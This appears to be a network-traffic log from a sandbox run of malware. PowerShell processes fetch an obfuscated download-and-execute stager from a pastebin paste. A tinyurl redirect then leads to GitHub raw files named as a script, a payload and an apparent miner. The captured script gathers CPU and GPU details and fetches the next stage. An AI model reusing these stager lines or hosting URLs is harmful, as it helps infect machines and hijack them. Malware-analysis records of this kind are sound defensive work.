Sep 16, 2024 19:32:40.137182951 CEST	256	IN	Data Raw: 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 73 41 30 34 4d 77 6b 32 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 Data Ascii: tebin.com/raw/sA04Mwk2'" /> <title>Redirecting to https://pastebin.com/raw/sA04Mwk2</title> </head> <body> Redirecting to <a href="https://pastebin.com/raw/sA04Mwk2">https://pastebin.com/raw/sA04Mwk2</a>. </body><
Sep 16, 2024 19:32:40.960939884 CEST	140	OUT	GET /yk3s8ubp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com
Sep 16, 2024 19:32:41.082145929 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 17:32:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6ImFoaVE1MHZ5UmtGQlRXby9UOTFwTlE9PSIsInZhbHVlIjoidS9ITnp0TUFFb1gxK1BhKzY0L3pYRkRJdXk4WGdEQ3ZUWFJHRXlQWlVxRExzTDdmNTlQR0QvUXdjUGxzL1M1ZEhXZHEvSldFbzN0bzRpa1Y3WWIxTEE9PSIsIm1hYyI6IjU0Y2QwMjQyZjNkMmJjNGY0MzM3MTUzNTc4MDdmMDQ5MzgyYzA0NWYwZDUyZTY2NTk4NDBkNWQ2MjZhNjU5ZWIiLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Age: 510 Set-Cookie: __cf_bm=BeVDYj4qQm5iFE479.6ulGYYjyXR8JkcvI0HXIQmQUo-1726507961-1.0.1.1-DxxUkDNckCH9aRoneVjIdzcd3l3F86SdsFh37ovCFK3N3n4Qdhcs55yNXJfKqhZWfLRBiv0uplaJGDgYpGPodw; path=/; expires=Mon, 16-Sep-24 18:02:41 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c4298e4595141fe-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 32 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c Data Ascii: 24e<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <
Sep 16, 2024 19:32:41.082192898 CEST	521	IN	Data Raw: 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 4e 65 74 68 33 4e Data Ascii: meta http-equiv="refresh" content="0;url='https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt'" /> <title>Redirecting to https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49752	185.199.110.133	80	2676	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:32:57.513159990 CEST	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 19:32:57.945385933 CEST	546	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:57 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740043-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507978.903040,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 17:37:57 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49753	185.199.110.133	80	1208	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:32:57.647278070 CEST	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 19:32:58.070739031 CEST	546	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:58 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740045-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507978.029031,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 17:37:58 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49754	185.199.110.133	80	6488	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:32:57.752475023 CEST	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 19:32:58.195060968 CEST	546	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:58 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740071-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507978.153475,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 17:37:58 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49755	185.199.110.133	80	5000	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:32:57.789715052 CEST	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 19:32:58.218137026 CEST	545	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:58 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740072-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507978.175815,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 17:37:58 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49756	185.199.110.133	80	7220	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:32:57.885004044 CEST	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 19:32:58.361782074 CEST	546	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:58 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740057-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507978.298000,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 17:37:58 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49758	185.199.110.133	80	2144	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:32:57.982522964 CEST	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 19:32:58.545357943 CEST	545	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:58 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890045-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507978.495033,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 17:37:58 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49759	185.199.110.133	80	7028	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:32:58.013703108 CEST	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 19:32:58.568289995 CEST	545	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:58 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890080-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507979.520791,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 17:37:58 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49760	185.199.110.133	80	4500	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:32:58.019078016 CEST	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Sep 16, 2024 19:32:58.543245077 CEST	545	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:58 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890060-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507979.500489,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Mon, 16 Sep 2024 17:37:58 GMT Vary: Authorization,Accept-Encoding

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	104.20.4.235	443	7400	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:40 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-09-16 17:32:40 UTC	397	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 17:32:40 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 510 Last-Modified: Mon, 16 Sep 2024 17:24:10 GMT Server: cloudflare CF-RAY: 8c4298deaad317f9-EWR
2024-09-16 17:32:40 UTC	81	IN	Data Raw: 34 62 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 74 69 6e 22 2b 22 79 22 2b 22 75 72 22 2b 22 6c 2e 63 22 2b 22 6f 6d 2f 79 6b 22 2b 22 33 73 38 75 62 70 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 4bcalliT(WINDOWS_NT ("tin"+"y"+"ur"+"l.c"+"om/yk"+"3s8ubp") -usebasicparsing)
2024-09-16 17:32:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	104.20.4.235	443	7384	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:40 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-09-16 17:32:40 UTC	397	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 17:32:40 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 510 Last-Modified: Mon, 16 Sep 2024 17:24:10 GMT Server: cloudflare CF-RAY: 8c4298deac585e78-EWR
2024-09-16 17:32:40 UTC	81	IN	Data Raw: 34 62 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 74 69 6e 22 2b 22 79 22 2b 22 75 72 22 2b 22 6c 2e 63 22 2b 22 6f 6d 2f 79 6b 22 2b 22 33 73 38 75 62 70 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 4bcalliT(WINDOWS_NT ("tin"+"y"+"ur"+"l.c"+"om/yk"+"3s8ubp") -usebasicparsing)
2024-09-16 17:32:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	104.20.4.235	443	7392	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:40 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-09-16 17:32:40 UTC	397	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 17:32:40 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 510 Last-Modified: Mon, 16 Sep 2024 17:24:10 GMT Server: cloudflare CF-RAY: 8c4298debc714326-EWR
2024-09-16 17:32:40 UTC	81	IN	Data Raw: 34 62 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 74 69 6e 22 2b 22 79 22 2b 22 75 72 22 2b 22 6c 2e 63 22 2b 22 6f 6d 2f 79 6b 22 2b 22 33 73 38 75 62 70 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 4bcalliT(WINDOWS_NT ("tin"+"y"+"ur"+"l.c"+"om/yk"+"3s8ubp") -usebasicparsing)
2024-09-16 17:32:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	104.20.4.235	443	7796	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:40 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-09-16 17:32:40 UTC	397	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 17:32:40 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 510 Last-Modified: Mon, 16 Sep 2024 17:24:10 GMT Server: cloudflare CF-RAY: 8c4298e26fda7c6c-EWR
2024-09-16 17:32:40 UTC	81	IN	Data Raw: 34 62 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 74 69 6e 22 2b 22 79 22 2b 22 75 72 22 2b 22 6c 2e 63 22 2b 22 6f 6d 2f 79 6b 22 2b 22 33 73 38 75 62 70 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 4bcalliT(WINDOWS_NT ("tin"+"y"+"ur"+"l.c"+"om/yk"+"3s8ubp") -usebasicparsing)
2024-09-16 17:32:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	185.199.110.133	443	7384	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:40 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:32:41 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1442 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "191acb94fb4b222ff094d9ef4cb7033590f0cd67f7ee57add9f2c69343267e71" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: A50C:16E0:E8A0CB:102882A:66E86BB6 Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:41 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890055-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726507961.008601,VS0,VE61 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: d409cb36b7d47a3686286da89a9af3ac51768d21 Expires: Mon, 16 Sep 2024 17:37:41 GMT Source-Age: 0
2024-09-16 17:32:41 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 0a 0a 23 20 52 65 74 72 69 65 76 65 20 43 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d Data Ascii: sleep 5# Retrieve CPU information$cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-
2024-09-16 17:32:41 UTC	64	IN	Data Raw: 33 34 39 35 72 61 79 67 77 69 34 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 5f 6d 6e 72 2e 74 78 74 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 27 0a Data Ascii: 3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49739	185.199.110.133	443	7392	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:40 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:32:41 UTC	898	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1442 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "191acb94fb4b222ff094d9ef4cb7033590f0cd67f7ee57add9f2c69343267e71" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: A50C:16E0:E8A0CB:102882A:66E86BB6 Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:41 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890050-NYC X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726507961.008729,VS0,VE61 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: d70fb6ccea9d93f4ab720f7adecdf3d647b4fca9 Expires: Mon, 16 Sep 2024 17:37:41 GMT Source-Age: 0
2024-09-16 17:32:41 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 0a 0a 23 20 52 65 74 72 69 65 76 65 20 43 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d Data Ascii: sleep 5# Retrieve CPU information$cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-
2024-09-16 17:32:41 UTC	64	IN	Data Raw: 33 34 39 35 72 61 79 67 77 69 34 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 5f 6d 6e 72 2e 74 78 74 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 27 0a Data Ascii: 3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49738	185.199.110.133	443	7400	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:40 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:32:41 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1442 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "191acb94fb4b222ff094d9ef4cb7033590f0cd67f7ee57add9f2c69343267e71" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 2B1B:1E48F6:C9994E:DFC27C:66E869BB Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:41 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740020-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507961.012180,VS0,VE68 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 35ed6e1794e4ec4fd0e4657c2c72af3d8f93fdd8 Expires: Mon, 16 Sep 2024 17:37:41 GMT Source-Age: 0
2024-09-16 17:32:41 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 0a 0a 23 20 52 65 74 72 69 65 76 65 20 43 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d Data Ascii: sleep 5# Retrieve CPU information$cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-
